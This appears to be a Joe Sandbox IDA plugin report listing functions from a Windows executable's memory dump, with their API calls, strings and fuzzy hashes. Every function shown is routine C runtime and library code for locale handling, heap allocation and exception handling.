Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: Initialize_invalid_parameter_noinfo_set_fmode
String ID:
API String ID: 3548387204-0
Opcode ID: d1173a7212cc43d76dbf22b13eebf2488d25545fb6af3f24d076bbedaddb7772
Instruction ID: f64f5ee2a710cbd88bbc4a199cfa5f1a551f4b05e7609a0ebb036e2dde7589ee
Opcode Fuzzy Hash: d1173a7212cc43d76dbf22b13eebf2488d25545fb6af3f24d076bbedaddb7772
Instruction Fuzzy Hash: D9119D20E09907C1FB5477B259326F997854FA13C5FD80535F90D86AC3EE2DB85B4232

Function 00007FF767EF7E98 Relevance: 3.0, APIs: 2, Instructions: 21
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF767EF7EC8

Part of subcall function 00007FF767EF8A7C: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF767EF8A85

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF767EF7ECE

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: cbf22f8cbf1717a2694491ed3b26a85d012a5bbbbd9548570d24cff125468d79
Instruction ID: 07f72b6496ee9267274713597a90b95f909641169cd9406ee83323e00783c2f7
Opcode Fuzzy Hash: cbf22f8cbf1717a2694491ed3b26a85d012a5bbbbd9548570d24cff125468d79
Instruction Fuzzy Hash: 0EE0B660E1A60B81FB58716214352B483440F193F0EEC1B35FABD84AC2ED3CB89B8130

Function 00007FF767F05EF8 Relevance: 2.6, APIs: 2, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF767F05D75,?,?,00000000,00007FF767F05E2A), ref: 00007FF767F05F66
GetLastError.KERNEL32(?,?,?,00007FF767F05D75,?,?,00000000,00007FF767F05E2A), ref: 00007FF767F05F70

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: c1e6758c4820c8c1252858a67302dddffb3f9881a80f9013a0a9caeb96fceeeb
Instruction ID: 7d18c075904814711c2f6903a43d2a95802b274072ac1ee5e6f86d232bbaa4ff
Opcode Fuzzy Hash: c1e6758c4820c8c1252858a67302dddffb3f9881a80f9013a0a9caeb96fceeeb
Instruction Fuzzy Hash: DF219221B1C682C5FE507765A4B4EFD9392AF847D2F844235EA3E473C1CEACA4838320

Function 00007FF767F0F788 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF767F0F7AB

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f805479e7f46c08dc78d13233d7981beb6879058a49b51030b1ad75e20a33afe
Instruction ID: eba43c18349993c51da14771c09bc18813cfec167db70d4cd081f13455acb1a0
Opcode Fuzzy Hash: f805479e7f46c08dc78d13233d7981beb6879058a49b51030b1ad75e20a33afe
Instruction Fuzzy Hash: 4A217132618642C6D7A1AF18D460BA9B7E0AB85B95F944234EA5D477D9DF3CD4038B10

Function 00007FF767F003B0 Relevance: 1.6, APIs: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF767F0031C

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9dd8857877f8d622ee8f1f9005da3086ec389f3c95e69244a29b813603ad10de
Instruction ID: 088ff9db668c9208d03761c2f3155b6756c18962d6b3cc53bf10473f79ac3a97
Opcode Fuzzy Hash: 9dd8857877f8d622ee8f1f9005da3086ec389f3c95e69244a29b813603ad10de
Instruction Fuzzy Hash: 2A117221A2C642C6FB52BE119530BFDD790AF95BC1FD44031EA8C47786DEACE4039720

Function 00007FF767F0C144 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF767F0C16F

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: b775fb37558cbe0d9f685a5aed90acce8f5692ab35a844819172b9af688f5e48
Instruction ID: 25939c43b4d3fa9cb725b89461c8df001bb0baff426af7de2d15e97264804ab7
Opcode Fuzzy Hash: b775fb37558cbe0d9f685a5aed90acce8f5692ab35a844819172b9af688f5e48
Instruction Fuzzy Hash: 64115832A18682C6E310AB14A4709E9E7A4FB847D5FD90635EA5D57792CE3CE813CB30

Function 00007FF767EF7F10 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF767EF7F24

Part of subcall function 00007FF767EF9E78: __vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF767EF9E80
Part of subcall function 00007FF767EF9E78: __vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00007FF767EF9E85

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: __scrt_dllmain_crt_thread_attach__vcrt_uninitialize_locks__vcrt_uninitialize_ptd
String ID:
API String ID: 1208906642-0
Opcode ID: 224b13c04430447bb356dc3f0809f92e7c82e594cc02aa9ed2c5e200abf5342b
Instruction ID: cb1274db1736708cca61305ff9fad5eefd669617bdfc8e909056078b7a1b7f6b
Opcode Fuzzy Hash: 224b13c04430447bb356dc3f0809f92e7c82e594cc02aa9ed2c5e200abf5342b
Instruction Fuzzy Hash: 72E0B672D0D243C5FFA83A6151722F993810F213C5FD824B8F95E92983DD2D20AF5532

Function 00007FF767F062D4 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF767F04B06,?,?,000068C3FE2C4CD1,00007FF767F006B1,?,?,?,?,00007FF767F0A0B6,?,?,00000000), ref: 00007FF767F06329

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 3297627f840d2d8a0acd794a5d79d3fc058ea66c42947bb30e921bb7862556ae
Instruction ID: 5b1fb162426043a2d233c03f549cd6f866c797f4725ed4a2ac4a867c842df1ea
Opcode Fuzzy Hash: 3297627f840d2d8a0acd794a5d79d3fc058ea66c42947bb30e921bb7862556ae
Instruction Fuzzy Hash: D2F04914B1A203D5FE647A629A72AF8D3811F89BC2FC80434E90E863C1FE6CE4C35271

Function 00007FF767F08E50 Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF767F0A09D,?,?,00000000,00007FF767F00CCF,?,?,?,00007FF767F0194B,?,?,?,00007FF767F01841), ref: 00007FF767F08E8E

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 7d8b04491be02a6a6a54ba2ac2cf4b3de713a8671e022013d4177b5f51218a88
Instruction ID: d7daa515ba6316522c77c1da07be1c411b5e087aa5f8278958f16b3ff3eaf662
Opcode Fuzzy Hash: 7d8b04491be02a6a6a54ba2ac2cf4b3de713a8671e022013d4177b5f51218a88
Instruction Fuzzy Hash: 7AF03A10B19242C5FA643AA16871EF4D3805F84BE2FC80A34ED2E863C1DEACA4834131

Non-executed Functions

Function 00007FF767F0E138 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF767F0492C: GetLastError.KERNEL32 ref: 00007FF767F0493B
Part of subcall function 00007FF767F0492C: FlsGetValue.KERNEL32 ref: 00007FF767F04950
Part of subcall function 00007FF767F0492C: SetLastError.KERNEL32 ref: 00007FF767F049DB

TranslateName.LIBCMT ref: 00007FF767F0E1A2
TranslateName.LIBCMT ref: 00007FF767F0E1DD
GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF767F0291C), ref: 00007FF767F0E224
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FF767F0291C), ref: 00007FF767F0E25C
GetLocaleInfoW.KERNEL32 ref: 00007FF767F0E419

Strings

utf8, xrefs: 00007FF767F0E340

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodeInfoLocalePageValidValue
String ID: utf8
API String ID: 3069159798-905460609
Opcode ID: d46c3db5fd79884ae430bdd4407c5728a58e5621258412781129b8267518e870
Instruction ID: fe43958320aac2b0fb79ad80ec542d20d290fa9e14c2ee52c9ca4121bdbd067e
Opcode Fuzzy Hash: d46c3db5fd79884ae430bdd4407c5728a58e5621258412781129b8267518e870
Instruction Fuzzy Hash: 02918A36A08782C5EB24BB219471AF9A7A4EB84BC2F844135DA5C47796DF3CE553C321

Function 00007FF767F0EB80 Relevance: 10.7, APIs: 7, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF767F0492C: GetLastError.KERNEL32 ref: 00007FF767F0493B
Part of subcall function 00007FF767F0492C: FlsGetValue.KERNEL32 ref: 00007FF767F04950
Part of subcall function 00007FF767F0492C: SetLastError.KERNEL32 ref: 00007FF767F049DB

Part of subcall function 00007FF767F0492C: FlsSetValue.KERNEL32 ref: 00007FF767F04971

GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FF767F0ECF0

Part of subcall function 00007FF767F0492C: FlsSetValue.KERNEL32 ref: 00007FF767F0499E
Part of subcall function 00007FF767F0492C: FlsSetValue.KERNEL32 ref: 00007FF767F049AF
Part of subcall function 00007FF767F0492C: FlsSetValue.KERNEL32 ref: 00007FF767F049C0

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FF767F02915), ref: 00007FF767F0ECD7
ProcessCodePage.LIBCMT ref: 00007FF767F0ED1A
IsValidCodePage.KERNEL32 ref: 00007FF767F0ED2C
IsValidLocale.KERNEL32 ref: 00007FF767F0ED42
GetLocaleInfoW.KERNEL32 ref: 00007FF767F0ED9E
GetLocaleInfoW.KERNEL32 ref: 00007FF767F0EDBA

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: 4f671ca00f56fc9bf8997cbef9bac339960b0da77d1a639bb5ca6f39e128ec38
Instruction ID: d7cf6bc21e63ae66d6747de50a7971dac5b8177290a791d22030bda10cf9886a
Opcode Fuzzy Hash: 4f671ca00f56fc9bf8997cbef9bac339960b0da77d1a639bb5ca6f39e128ec38
Instruction Fuzzy Hash: 5F713762B09652CAEB11BB60D870AF8B3A0AF44789F848535DE5D53795EF3DA447C320

Function 00007FF767EF8AB0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF767EF8ACC
RtlCaptureContext.KERNEL32 ref: 00007FF767EF8AF9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF767EF8B13
RtlVirtualUnwind.KERNEL32 ref: 00007FF767EF8B54
IsDebuggerPresent.KERNEL32 ref: 00007FF767EF8BA8
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF767EF8BC5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF767EF8BD0

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: c2016361b9a202e33e16e1aa200e640e5cdd72cb80c696406574d654a1428c77
Instruction ID: 4074e9753023d313fe6ff718403104d65084d826bdfaa9dce2eeb7eba1e2afee
Opcode Fuzzy Hash: c2016361b9a202e33e16e1aa200e640e5cdd72cb80c696406574d654a1428c77
Instruction Fuzzy Hash: 77318D72608B81CAEB619F61E8507EDB360FB94798F84403ADA4D57B94DF3CD14AC720

Function 00007FF767EFF45C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF767EFF4D5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF767EFF4ED
RtlVirtualUnwind.KERNEL32 ref: 00007FF767EFF528
IsDebuggerPresent.KERNEL32 ref: 00007FF767EFF561
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF767EFF56B
UnhandledExceptionFilter.KERNEL32 ref: 00007FF767EFF576

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: b756a912aeb3b57a49614e42f217d9f36913244dab77649a3db67ba06f605164
Instruction ID: 52193b9f1a716b743e43e6b9e6fe4ccbbde6e8453254969aa6a9c040ba27577a
Opcode Fuzzy Hash: b756a912aeb3b57a49614e42f217d9f36913244dab77649a3db67ba06f605164
Instruction Fuzzy Hash: 7C316236608B81C6D765DF25E8506EEB3A0FB88798F940135EA9D43B54EF3CC54ACB10

Function 00007FF767EF7D74 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF767EF7DD5
IsDebuggerPresent.KERNEL32 ref: 00007FF767EF7DED
OutputDebugStringW.KERNEL32 ref: 00007FF767EF7DFE

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF767EF7DF7

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: d67c635758605ed6479ea3d4b4b08c5c799a1697d5db29fb57afd5ba643e8a04
Instruction ID: 527c7a328e631b8e8e3627b5df38ea323080748fcd09e51d6fe0ad584252052e
Opcode Fuzzy Hash: d67c635758605ed6479ea3d4b4b08c5c799a1697d5db29fb57afd5ba643e8a04
Instruction Fuzzy Hash: 5F118F32614B82D3F705AB22DA603B973A4FB44384FC44039D64D82A90EF3CE46AC760

Function 00007FF767EF8CFC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF767EF8D28
GetCurrentThreadId.KERNEL32 ref: 00007FF767EF8D36
GetCurrentProcessId.KERNEL32 ref: 00007FF767EF8D42
QueryPerformanceCounter.KERNEL32 ref: 00007FF767EF8D52

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 175403f887a107761204df3119ca0200cdd13c37828f298386d6700f57525c95
Instruction ID: bf2bf17b04a6495c785351b848cf66099343505ad3bb6fc50a1af68b53581a3e
Opcode Fuzzy Hash: 175403f887a107761204df3119ca0200cdd13c37828f298386d6700f57525c95
Instruction Fuzzy Hash: C7114F32B14B01C9EB00DB60E8546B873A4FB59798F840E31EA2D46B64EF78D15A8350

Function 00007FF767EF6A04 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,?,?,?,?,?,00000000,00007FF767EF18C5), ref: 00007FF767EF6A2A
FormatMessageA.KERNEL32 ref: 00007FF767EF6A5D

Strings

!x-sys-default-locale, xrefs: 00007FF767EF6A1D

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: e7fe5703d7bd3fcf55848a10b898419f89e1f05d712649635250529f0732eae7
Instruction ID: 46da233810ab8705a60d5fecea6873e3ec19e2d048561a60667d3adf8aeb695a
Opcode Fuzzy Hash: e7fe5703d7bd3fcf55848a10b898419f89e1f05d712649635250529f0732eae7
Instruction Fuzzy Hash: 95014472B08B85C2E7119B12B460BBAA7A1F7847D8F988035EA4947A95DF3DD50A8B10

Function 00007FF767F0E5FC Relevance: 4.7, APIs: 3, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF767F0492C: GetLastError.KERNEL32 ref: 00007FF767F0493B
Part of subcall function 00007FF767F0492C: FlsGetValue.KERNEL32 ref: 00007FF767F04950
Part of subcall function 00007FF767F0492C: SetLastError.KERNEL32 ref: 00007FF767F049DB

Part of subcall function 00007FF767F0492C: FlsSetValue.KERNEL32 ref: 00007FF767F04971

GetLocaleInfoW.KERNEL32 ref: 00007FF767F0E668

Part of subcall function 00007FF767F0A490: _invalid_parameter_noinfo.LIBCMT ref: 00007FF767F0A4AD

GetLocaleInfoW.KERNEL32 ref: 00007FF767F0E6B1

Part of subcall function 00007FF767F0A490: _invalid_parameter_noinfo.LIBCMT ref: 00007FF767F0A506

GetLocaleInfoW.KERNEL32 ref: 00007FF767F0E779

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: InfoLocale$ErrorLastValue_invalid_parameter_noinfo
String ID:
API String ID: 1791019856-0
Opcode ID: 8380d45a326b3d1e8aced02d63fd4f4030e7a97d598a3e3abbdea63c338b2f08
Instruction ID: 711f8b2df8a10f1729a6a6febb9bf6faf93ca5741ed93f3ef99bb373fae4616f
Opcode Fuzzy Hash: 8380d45a326b3d1e8aced02d63fd4f4030e7a97d598a3e3abbdea63c338b2f08
Instruction Fuzzy Hash: A7619B72A08542C6EB74BE10D574AB9B3A1FB84786F848135DBAE83790DF3CE4538720

Function 00007FF767F06718 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF767F02AEE), ref: 00007FF767F0678C

Strings

GetLocaleInfoEx, xrefs: 00007FF767F06734, 00007FF767F06745

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: a658af243d55a89f5ef705efa73716f0020930f295102f0f64cb9cdd66453038
Instruction ID: adea657276674cc53fb701dbd8a6f9859791bc6165ad0f7afc98ffe13646332a
